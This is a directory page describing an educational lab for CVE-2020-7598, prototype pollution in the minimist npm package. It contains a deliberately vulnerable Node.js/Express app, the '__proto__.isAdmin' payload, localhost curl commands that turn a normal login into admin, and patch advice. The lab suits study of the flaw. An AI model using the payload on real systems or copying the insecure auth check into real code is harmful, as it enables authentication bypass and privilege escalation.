Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2020-7598 — 这是一个教育性实验环境,展示了 CVE-2020-7598 在 minimist 中的原型污染漏洞,包含一个易受攻击的 Node.js/Express 应用、漏洞利用载荷以及用于安全研究的认证绕过演练。 | Kitploit
工具/GitHubGitHub/renewablehacking/cve-2020-7598
静态分析漏洞分析代码分析Web应用程序漏洞利用学习与教育实验室与实践
GitHubrenewablehacking/cve-2020-7598

CVE-2020-7598

这是一个教育性实验环境,展示了 CVE-2020-7598 在 minimist 中的原型污染漏洞,包含一个易受攻击的 Node.js/Express 应用、漏洞利用载荷以及用于安全研究的认证绕过演练。

查看仓库
2个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2020-7598 - minimist中的原型污染

免责声明

本项目仅用于:

  • 学习,
  • 安全研究,
  • 以及个人本地实验室。

未经授权请勿用于任何系统。


关于CVE

CVE-2020-7598 是 npm 包中的原型污染漏洞:

  • minimist
  • 受影响版本:
    • < 0.2.1
    • >= 1.0.0 < 1.2.3

此漏洞允许攻击者修改:

root@kitploit:~
Object.prototype

通过类似以下payload:

root@kitploit:~
--__proto__.isAdmin=true

导致:

  • 所有JavaScript对象可能继承危险属性,
  • 认证绕过,
  • 权限提升,
  • 甚至在某些条件下链式导致RCE。

原型污染的工作原理

在JavaScript中:

root@kitploit:~
const user = {};

空对象仍然从:

root@kitploit:~
Object.prototype

继承属性。

如果攻击者成功执行:

root@kitploit:~
Object.prototype.isAdmin = true;

那么:

root@kitploit:~
({}).isAdmin

将返回:

root@kitploit:~
true

对于所有普通对象。


实验环境

Dependency

  • Node.js
  • Express
  • [email protected]

安装

1. 克隆仓库

root@kitploit:~
https://github.com/renewablehacking/CVE-2020-7598.git
cd CVE-2020-7598

2. 安装依赖

root@kitploit:~
npm install

或者手动:

root@kitploit:~
npm install express [email protected]

源代码

创建文件:

root@kitploit:~
app.js

内容:

root@kitploit:~
const express = require("express");
const minimist = require("minimist");

const app = express();

/*
 Simulasi database user
*/
const users = [
  {
    username: "zen",
    password: "123"
  }
];

/*
 Endpoint vulnerable
*/
app.get("/parse", (req, res) => {

    /*
      Ambil raw query
    */
    const payload = req.query.payload;

    /*
      Ubah jadi array argument CLI
    */
    const args = payload.split(" ");

    console.log("ARGS:", args);

    /*
      Vulnerable parsing
    */
    minimist(args);

    console.log("GLOBAL isAdmin:", {}.isAdmin);

    res.send("Arguments parsed");
});

/*
 Login endpoint
*/
app.post("/login", express.json(), (req, res) => {

    const { username, password } = req.body;

    const user = users.find(
        u =>
          u.username === username &&
          u.password === password
    );

    if(!user){
        return res.json({
            success: false
        });
    }

    console.log("Own property:", user.hasOwnProperty("isAdmin"));
    console.log("user.isAdmin:", user.isAdmin);

    /*
      Vulnerable auth logic
    */
    if(user.isAdmin){
        return res.json({
            success: true,
            role: "ADMIN"
        });
    }

    res.json({
        success: true,
        role: "USER"
    });

});

app.listen(3000, () => {
    console.log("Server running on port 3000");
});

运行服务器

root@kitploit:~
node app.js

输出:

root@kitploit:~
Server running on port 3000

正常测试

正常登录

root@kitploit:~
curl -X POST http://localhost:3000/login \
-H "Content-Type: application/json" \
-d '{"username":"zen","password":"123"}'

输出:

root@kitploit:~
{
  "success": true,
  "role": "USER"
}

利用CVE-2020-7598

原型污染Payload

打开浏览器:

root@kitploit:~
http://localhost:3000/parse?payload=--__proto__.isAdmin=true

或者使用curl:

root@kitploit:~
curl "http://localhost:3000/parse?payload=--__proto__.isAdmin=true"

利用结果

服务器终端:

root@kitploit:~
GLOBAL isAdmin: true

这意味着:

root@kitploit:~
Object.prototype.isAdmin = true

已成功修改。


利用后的登录

root@kitploit:~
curl -X POST http://localhost:3000/login \
-H "Content-Type: application/json" \
-d '{"username":"zen","password":"123"}'

输出:

root@kitploit:~
{
  "success": true,
  "role": "ADMIN"
}

然而:

  • 数据库未更改,
  • 源代码未更改,
  • 用户没有 isAdmin 属性。

为什么能成为管理员?

以下代码:

root@kitploit:~
if(user.isAdmin)

不仅检查对象自身的属性。

JavaScript 将查找:

  1. 对象自身的属性,
  2. 然后原型链。

因为攻击者成功修改了:

root@kitploit:~
Object.prototype.isAdmin = true

因此所有普通对象都继承了该属性。


原型污染的证明

服务器日志:

root@kitploit:~
Own property: false
user.isAdmin: true

这意味着:

  • isAdmin 不是用户自身的属性,
  • 而是从全局原型继承的。

补丁

安全版本 minimist:

root@kitploit:~
npm install minimist@latest

已修补版本阻止以下属性:

  • __proto__
  • constructor
  • prototype

从而原型污染不再成功。


参考资料

  • CVE: CVE-2020-7598
  • Package: minimist
  • CWE: CWE-1321 Prototype Pollution

作者

本实验室和文档是为学习 Node.js 应用程序安全及原型污染研究而制作的。

下载工具